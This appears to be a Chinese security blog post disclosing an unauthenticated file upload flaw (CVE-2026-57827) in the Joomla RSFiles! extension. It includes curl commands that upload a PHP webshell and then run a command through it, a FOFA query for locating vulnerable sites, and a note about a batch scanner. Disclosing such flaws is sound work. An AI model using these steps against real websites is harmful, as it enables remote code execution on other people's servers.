RCE PoC CVSS 9.8公开 CVE-2026-57827
漏洞描述
Joomla 组件 RSFiles! (com_rsfiles) 是一款流行的文件管理和下载扩展,广泛用于 Joomla 网站的文件管理与分发。在 1.17.12 之前的版本中,存在严重的未授权任意文件上传漏洞。
根本原因是 RSFiles! 的上传逻辑采用了“分离控制器”设计:上传流程被拆分为“预检查” 和 “写入” 两个独立的控制器任务。预检查任务(权限验证+扩展名白名单)受保护,但写入任务(实际保存文件)完全无保护。攻击者可直接调用写入任务,完全绕过权限校验和文件类型白名单,直接上传任意文件(包括 PHP webshell),实现未授权远程代码执行。</
影响版本
组件:RSFiles! (com_rsfiles)
版本:< 1.17.12
类型:Joomla 扩展组件
CWE:CWE-434(任意文件上传)
修复版本
RSFiles! ≥ 1.17.12
FOFA 语法
body="com_rsfiles" || body="rsfiles" || body="rsjoomla.com"漏洞分析
RSFiles! 的上传逻辑存在严重的“分离控制器”设计缺陷:
上传流程被拆分为两个独立的控制器任务:
Task 1: checkupload() — 预检查(受保护)
• 验证用户上传权限
• 校验文件扩展名是否在白名单内
Task 2: upload() — 写入(无保护!)
• 无权限检查
• 无文件类型校验
• 直接调用 JFile::upload() 保存文件
• 文件保存到 /downloads/ 目录(默认无 .htaccess 保护,直接可访问)攻击者可直接 POST 请求调用 task=rsfiles.upload,完全跳过预检查,直接上传任意文件(包括 PHP webshell)到网站根目录下的 /downloads/ 目录,该目录默认无 .htaccess 保护,上传即可直接访问执行。
漏洞复现
攻击流程
Step 1. 构造恶意文件上传 POST 请求
直接调用 task=rsfiles.upload 接口
绕过 checkupload() 预检查
Step 2. 上传 PHP webshell
文件名: shell.php
内容: PoC 使用
# 手动测试
curl -sk -X POST "https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload" \
-F "file=@shell.php" \
-H "User-Agent: Mozilla/5.0..."
# 访问上传后的文件
curl -sk "https://target.com/downloads/shell.php?cmd=id"
# 批量扫描脚本已保存至本地
# /root/.hermes/cache/documents/doc_f36be921849c_cve-2026-61511_batch.pyPoC 仓库
https://github.com/shinthink/cve-2026-57827参考链接
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-57827
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果